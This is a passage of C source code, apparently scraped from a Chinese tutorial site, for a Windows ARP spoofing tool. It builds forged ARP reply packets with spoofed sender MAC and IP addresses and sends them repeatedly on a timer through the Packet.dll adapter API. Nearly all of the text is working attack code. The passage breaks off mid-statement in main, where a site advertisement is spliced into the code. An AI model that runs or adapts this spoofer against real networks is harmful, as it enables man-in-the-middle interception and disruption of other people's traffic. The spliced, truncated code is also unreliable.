{
printf("-m parameter error!\n");
return 0;
}
eth.eh_src[i]=t1*16+t2;
eth.eh_dst[i]=toMAC[i];
arphdr.arp_sha[i]=t1*16+t2;
arphdr.arp_tha[i]=toMAC[i];
}
}
else
{
for(i=0;i<6;i++)
{
eth.eh_src[i]=toMAC[i];
eth.eh_dst[i]=toMAC[i];
arphdr.arp_sha[i]=toMAC[i];
arphdr.arp_tha[i]=toMAC[i];
}
}
eth.eh_type=htons(ETH_ARP);
arphdr.arp_spa=htonl(oIP);
arphdr.arp_tpa=htonl(toIP);
arphdr.arp_hdr=htons(ARP_HARDWARE);
arphdr.arp_pro=htons(ETH_IP);
arphdr.arp_opt=htons(ARP_REPLY);
arphdr.arp_hln=6;
arphdr.arp_pln=4;
memset(szPacketBuf,0,sizeof(szPacketBuf));
memcpy(szPacketBuf,ð,sizeof(ETHDR));
memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR));
PacketInitPacket(lpPacket,szPacketBuf,60);
if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
PacketFreePacket(lpPacket);
return 0;
}
PacketFreePacket(lpPacket);
sin.sin_addr.s_addr=arphdr.arp_tpa;
printf("spoof %s: ",inet_ntoa(sin.sin_addr));
sin.sin_addr.s_addr=arphdr.arp_spa;
printf("%s-->",inet_ntoa(sin.sin_addr));
for(i=0;i<5;i++)
printf("%.2x-",arphdr.arp_sha[i]);
printf("%x",arphdr.arp_sha[5]);
printf("\n");
return 0;
}
DWORD WINAPI sendSRTimer(LPVOID dwtoIP)
{
printf("Waiting spoof Start\n");
mytoIP=*(u_long *)dwtoIP;
newtimer=SetTimer(NULL,NULL,5*1000,TIMERPROC(sendSR));
while(GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
int main(int argc,char *argv[])
{
HANDLE thread1,thread2,thread3;
WCHAR adaptername[8192];
WCHAR *name1,*name2;
ULONG adapterlength;
DWORD threadid1,threadid2,threadid3;
u_long toIP,myip;
struct NetType ntype;
struct sockaddr_in sin;
struct npf_if_addr ipbuff;
int adapternum=0,opti=0,open,i,j;
long npflen;
if((argc!=5)&&(argc!=7))
{
start();
return 0;
}
else if((strcmp(argv[1],"-h")!=0)(北联网教程,专业提供视频软件下载)
……